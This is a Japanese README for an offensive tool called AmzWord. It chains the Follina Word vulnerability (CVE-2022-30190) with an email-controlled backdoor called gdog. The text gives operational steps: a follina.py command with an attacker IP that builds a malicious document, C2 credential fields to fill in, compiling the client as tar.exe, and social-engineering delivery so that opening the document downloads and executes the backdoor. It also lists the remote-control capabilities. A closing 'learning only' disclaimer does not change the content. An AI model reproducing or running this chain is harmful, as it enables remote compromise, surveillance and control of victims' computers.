AmzWord

CVE-2022-30190、163メールバックドア、画像ステガノグラフィに基づく自動攻撃チェーン

以下のGitHubリポジトリに感謝します。コードの一部を参照・修正して統合し、私たちの作業を実装しました。

• gdog
• follina
• virtual-reality

中国語のREADMEこちら

必要条件

gdog：

• Python 2.7
• PyCrypto module
• WMI module
• Enum34 module
• Netifaces module

follina：

• Python 3.x

使用方法と攻撃プロセス

1. follina.pyを使用して悪意のあるWordファイルを作成し、HTTPリスニングをオンにします

   • コード内のデフォルト名とデフォルトIPを変更できます
   • --ip と --output を使用して指定することもできます
   • 詳細な使用方法については follina を参照してください。使用インターフェースは変更していません。
   • 例: python follina.py --ip 100.100.100.100 --output maldoc.doc

2. gdogのclient.pyとgdog.pyを修正し、以下の情報を記入します

   root@kitploit:~

   gmail_user = 'your email'
   gmail_pwd = 'your pwd'
   server = "smtp server"
   imap_server = 'imap server'
   

3. client.pyをtar.exeにコンパイルし、/follina/wwwの下に配置します

4. ソーシャルエンジニアリング手法を使用してターゲットに送信します。被害者がWordを開けば、tar.exeが自動的にダウンロードされ実行されます。

5. 攻撃者はローカルでgdogを実行し、コマンドを送信してターゲットマシンを制御します。使用方法については gdog を参照してください。

備考

1. これは攻撃チェーンの実装のデモに過ぎません。実行中のexeはタスクマネージャーでも確認でき、効果を観察するのが簡単です。アンチウイルス、隠蔽、権限昇格などの操作は行っていません。もちろん、Windowsではこれらは難しくありませんよね？

2. gdogプロジェクトは長い間存在しており、それを正常に動作させるために多大な労力を費やしました。現在確認されているリモートコントロールコマンドには、コマンド実行、スクリーンショット取得、ポップアップ表示、シャットダウン、画面ロック、ファイル転送が含まれます。これらの機能はほとんどのニーズに十分対応できます。

3. 理由はわかりませんが、imapのSUBJECT検索に問題があるようです。目的の件名のメールを検索できず、戻り値が空になります。そのため、未読メールをすべて読み込み、対象をフィルタリングし、それ以外を未読に設定するなど、他の方法を取るしかありません。これは制御ユーザーが多い場合に問題を引き起こす可能性があり、解決が必要です。

4. このプロジェクトは学習と交流の目的のみです。